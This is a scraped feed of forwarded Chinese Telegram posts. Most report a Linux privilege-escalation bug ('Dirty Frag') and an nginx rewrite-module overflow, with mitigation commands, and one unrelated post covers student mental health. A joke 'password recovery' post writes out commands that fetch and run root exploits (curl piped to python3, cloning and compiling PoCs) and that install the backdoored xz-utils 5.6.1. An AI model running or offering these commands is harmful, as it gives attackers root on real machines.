Forwarded from 咕 Billchan 咕 🐱 抹茶芭菲批发中心 (billchenchina 🏳️⚧️ | 缩缩)
Dirty Frag: Universal Linux LPE
和 Copy Fail 类似,绝大多数发行版可一键提权
禁用 esp4、esp6、rxrpc 可以缓解
https://dirtyfrag.io/
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
exp: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
和 Copy Fail 类似,绝大多数发行版可一键提权
禁用 esp4、esp6、rxrpc 可以缓解
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
https://dirtyfrag.io/
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
exp: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
Forwarded from qwer_azx
Forwarded from 【李老师不是你老师】官方电报
5月9日,一名在北京做教培长达6年的博主“陶陶”说:我每年春天都会发现一件特别诡异的事:班里会突然“少掉”一批孩子。后来接触多了才知道——他们很多人,其实都挤在北京安定医院的休学门诊里。
你可能很难想象,北京初三的休学率,已经高到了什么程度。
有些海淀普校,39 个人的班,到了初三后半学期,真正天天来学校的只剩十几个;剩下的人里,明确因为抑郁、焦虑、躯体化而长期休学的,七八个都不夸张。
查看原文
你可能很难想象,北京初三的休学率,已经高到了什么程度。
有些海淀普校,39 个人的班,到了初三后半学期,真正天天来学校的只剩十几个;剩下的人里,明确因为抑郁、焦虑、躯体化而长期休学的,七八个都不夸张。
查看原文
Forwarded from Soha 的日常 (Soha Jin)
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Faker的个人频道
Nginx 被发现一个存在18年的内存损坏漏洞,可导致远程代码执行,利用门槛低
漏洞存在于每个通用发行版都会包含的rewrite模块
建议用户尽快更新至 1.30.1 / 1.31.0 版本
Ref: https://depthfirst.com/nginx-rift
漏洞存在于每个通用发行版都会包含的rewrite模块
ngx_http_rewrite_module ,影响开原版本Nginx 0.6.27至最近的1.30.0版本,在计算目标缓冲区大小时,使用的是原始字节长度,但在实际写入时,却进行了 URL 转义( + , % , & 等字符会扩展为 3 倍长度),溢出长度可控导致堆喷射建议用户尽快更新至 1.30.1 / 1.31.0 版本
Ref: https://depthfirst.com/nginx-rift
Forwarded from HAT's Public Channel |
快速自查:
# 1. 检查版本是否 >0.6.27, <1.30.1
nginx -v
# 2. 检查是否有 without-http_rewrite_module, 如果没有就算被影响
nginx -V 2>&1 | tr ' ' '\n' | grep -E 'rewrite|without-http_rewrite'
# 3. 遍历 nginx conf,查找所有可疑 rewrite
nginx -T 2>/dev/null | grep -nE '^[[:space:]]*rewrite[[:space:]]+[^[:space:]]+[[:space:]]+.*\$'
快速缓解:
1. 使用更加现代的 try_files 或 return 替代 rewrite
2. 增加缓解配置 (请根据业务调整):
http {
# 缩小客户端请求头和 URI 的缓冲区大小
client_header_buffer_size 1k;
# 阻止攻击者发送超长 Payload
large_client_header_buffers 2 4k;
# 其他配置...
}Forwarded from kMBRjund/0 🧊 (rpool/MBR)
1. Linux 找回密码教程,建议收藏!
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了?
没关系,这里还有一个新的!
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了?
我们有专业的黑客团队帮您运维服务器和保管密码!
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了,每天都有新办法!
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡,让它down掉,然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么,你买不起高端网卡?那试试这个吧!
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连,只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!
https://depthfirst.com/nginx-rift
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了?
没关系,这里还有一个新的!
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了?
我们有专业的黑客团队帮您运维服务器和保管密码!
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了,每天都有新办法!
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡,让它down掉,然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么,你买不起高端网卡?那试试这个吧!
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连,只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!
https://depthfirst.com/nginx-rift
Forwarded from 2.5次元日常 🍉
🗿1